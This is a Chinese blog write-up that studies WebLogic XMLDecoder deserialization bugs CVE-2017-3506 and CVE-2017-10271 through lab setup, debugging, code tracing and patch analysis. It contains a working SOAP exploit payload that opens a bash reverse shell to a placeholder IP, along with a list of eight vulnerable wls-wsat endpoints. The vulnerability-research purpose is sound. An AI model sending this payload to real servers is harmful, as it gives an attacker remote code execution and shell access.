whip1ash

CVE-2017-3506 & CVE-2017-10271 - 从0开始学习Java反序列化 (1)

2018-10-21

前言

学习Java反序列化进程已经拖了很久了,这次推掉一些工作上的事情,抽出一周时间专心搞一下WebLogic反序列化。从老洞到新洞,整体学习一下。

CVE-2017-3506 & CVE-2017-10271

环境搭建

先简单点,用现成的vulhub。下载下来docker-compose.yml,然后docker-compose up -d就行了。
https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2017-10271
经过实践,使用Docker并不是很简单,前前后后居然花了我一天的时间。
因为后边需要启动WebLogic的调试功能,需要开启一个远程调试的端口,所以需要改动一下docker-compose.yml开放8453端口。在最后一行添加- "8453:8453"。然后再docker-compose up -d

1
2
3
4
5
6
7
version: '2'
services:
weblogic:
image: vulhub/weblogic
ports:
- "7001:7001"
- "8453:8453"

Docker搭建完成后,docker exec -it container /bin/bash进入Docker,修改以下路径的文件,找到以下代码段,添加标出代码。开启debug模式。

/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh

运行一下setDomainEnv.sh脚本。在这个Docker中,WebLogic进程的PID为1,杀不掉,故重启container。netstat -anp看看是否开启了8453端口。
因为要远程调试WebLogic,而WebLogic是没有源码的,所以需要把依赖的包给拷出来。
docker cp weblogic:/root/Oracle/Middleware/wlserver_10.3 ./WebLogic_jars

ps: 这部分jar包不全,还需要将Docker中,/root/Oracle/Middleware/modules给拷出来

使用idea打开wlserver_10.3,将server/lib和/root/Oracle/Middleware/modules这两个文件夹添加到library。

添加完后,就会发现里面的.jar和.war的包都可以点开了。并且可以搜索里面的一些类和字符串了。然后设置debug。

添加一个Remote配置,

端口设置为8453,并且设置module classpath。

点击debug,出现如下字样,说明已经配置ok。

在wlserver_10.3/server/lib/weblogic.jar!/weblogic/wsee/jaxws/WLSServletAdapter.class中的handle方法下断点,看看能否击中断点。

动态调试

如何定位代码呢,从POC中可以看出来是wls-wsat这个接口出的问题。
全局搜索一下文件,发现一个war包。点击去看看web.xml写了哪些接口。
wlserver_10.3/server/lib/wls-wsat.war!/WEB-INF/web.xml

第一个就是我们想要的接口。

调用栈比较深,前边都是WebLogic servlet的分发机制,稍后再进行研究。

我们从processRequest开始,因为从processRequest开始,才进入处理xml的逻辑。输入的数据最终在readUTF中被反序列化。以下是函数调用栈。

具体流程如下:

weblogic.wsee.jaxws.workcontext.WorkContextServerTube

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public NextAction processRequest(Packet var1) {
this.isUseOldFormat = false;
if (var1.getMessage() != null) {
HeaderList var2 = var1.getMessage().getHeaders();
Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
if (var3 != null) {
this.readHeaderOld(var3);
this.isUseOldFormat = true;
}

Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true);
if (var4 != null) {
this.readHeader(var4);
}
}

return super.processRequest(var1);
}

var1为传进来的POST数据,也就是XML。

var3是xml的头部解析,如果存在(头不为空),进入readHeaderOld()。跟进!

weblogic.wsee.jaxws.workcontext.WorkContextTube

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected void readHeaderOld(Header var1) {
try {
XMLStreamReader var2 = var1.readHeader();
var2.nextTag();
var2.nextTag();
XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter();
ByteArrayOutputStream var4 = new ByteArrayOutputStream();
XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4);
var3.bridge(var2, var5);
var5.close();
WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
this.receive(var6);
} catch (XMLStreamException var7) {
throw new WebServiceException(var7);
} catch (IOException var8) {
throw new WebServiceException(var8);
}
}

在上一步中,我们只把头读了进来,其他的数据还在缓冲区中,使用ByteArrayOutputStream函数读取剩余数据到var4中。然后var5创建一个XMLStreamWriter实例后就close了,不知道做什么用的(查了查文档,依然不知道做什么用的,可能上个版本的残留?),可能是进行xml的语法检查(猜测),没有问题的话创建WorkContextXmlInputAdapter对象。

跟进 receive()!

weblogic.wsee.jaxws.workcontext.WorkContextServerTube

1
2
3
4
protected void receive(WorkContextInput var1) throws IOException {
WorkContextMapInterceptor var2 = WorkContextHelper.getWorkContextHelper().getInterceptor();
var2.receiveRequest(var1);
}

没什么好说的,获取当前的Context继续往下传。

weblogic.workarea.WorkContextMapImpl

1
2
3
public void receiveRequest(WorkContextInput var1) throws IOException {
((WorkContextMapInterceptor)this.getMap()).receiveRequest(var1);
}

将数据传到下一个receiveRequest。

weblogic.workarea.WorkContextLocalMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public void receiveRequest(WorkContextInput var1) throws IOException {
while(true) {
try {
WorkContextEntry var2 = WorkContextEntryImpl.readEntry(var1);
if (var2 == WorkContextEntry.NULL_CONTEXT) {
return;
}

String var3 = var2.getName();
this.map.put(var3, var2);
if (debugWorkContext.isDebugEnabled()) {
debugWorkContext.debug("receiveRequest(" + var2.toString() + ")");
}
} catch (ClassNotFoundException var4) {
if (debugWorkContext.isDebugEnabled()) {
debugWorkContext.debug("receiveRequest : ", var4);
}
}
}
}

WorkContextEntryImpl.readEntry(var1);对传进来的数据进行处理,跟进!

weblogic.workarea.spi.WorkContextEntryImpl

1
2
3
4
public static WorkContextEntry readEntry(WorkContextInput var0) throws IOException, ClassNotFoundException {
String var1 = var0.readUTF();
return (WorkContextEntry)(var1.length() == 0 ? NULL_CONTEXT : new WorkContextEntryImpl(var1, var0));
}

看到readUTF()了!数据在这里被readObject()反序列化,最终RCE!

漏洞原因&补丁分析

在这里,WebLogic没有对XML的数据进行任何的过滤,导致可以构造XML数据,反序列化任意对象,从而RCE,这也就是CVE-2017-3506产生的原因。Oracle官方针对此发布了如下补丁。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch (ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXException var6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOException var7) {
throw new IllegalStateException("Parser Exception", var7);
}
}

如果有Element字段为object的话,就抛出异常,这显而易见是可以bypass的,比如如下Exp,使用java.beans.XMLDecoder进行代码执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>/bin/bash -i &gt; /dev/tcp/xxx.xxx.xxx.xxx/8888 0&lt;&amp;1 2&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

所以针对CVE-2017-10271,发布了新的补丁:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
}
}
}

补充了startElement函数,对于object,new,method,void,array字段抛出异常,无法生成java 实例。(补丁网上找的,感觉不全,回来看看下一个版本的源码,再补一下)。

Exploit


补充

其实并不是只有CoordinatorPortType这一个接口可以打,从wls-wsat.wra/web.xml中可以看出其中又八个接口,都是使用同一个包(weblogic.wsee.wstx)处理,所以以下八个接口均可以利用。

1
2
3
4
5
6
7
8
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

说点废话

这个漏洞调下来,感觉摸到java反序列化的大门了,管中窥豹,知其一二。
下篇学习一下Java反序列化的具体利用。
疑问:如何定位到WLSServletAdapter.class的handle???求大佬们指点迷津

Reference

https://www.anquanke.com/post/id/102768#h2-5
https://zhuanlan.zhihu.com/p/32301092
http://pirogue.org/2017/12/29/weblogic-XMLDecoder/
http://xxlegend.com/2017/12/22/Weblogic%20CVE-2017-10271%20XMLDecoder%20RCE%E5%88%86%E6%9E%90/

扫描二维码,分享此文章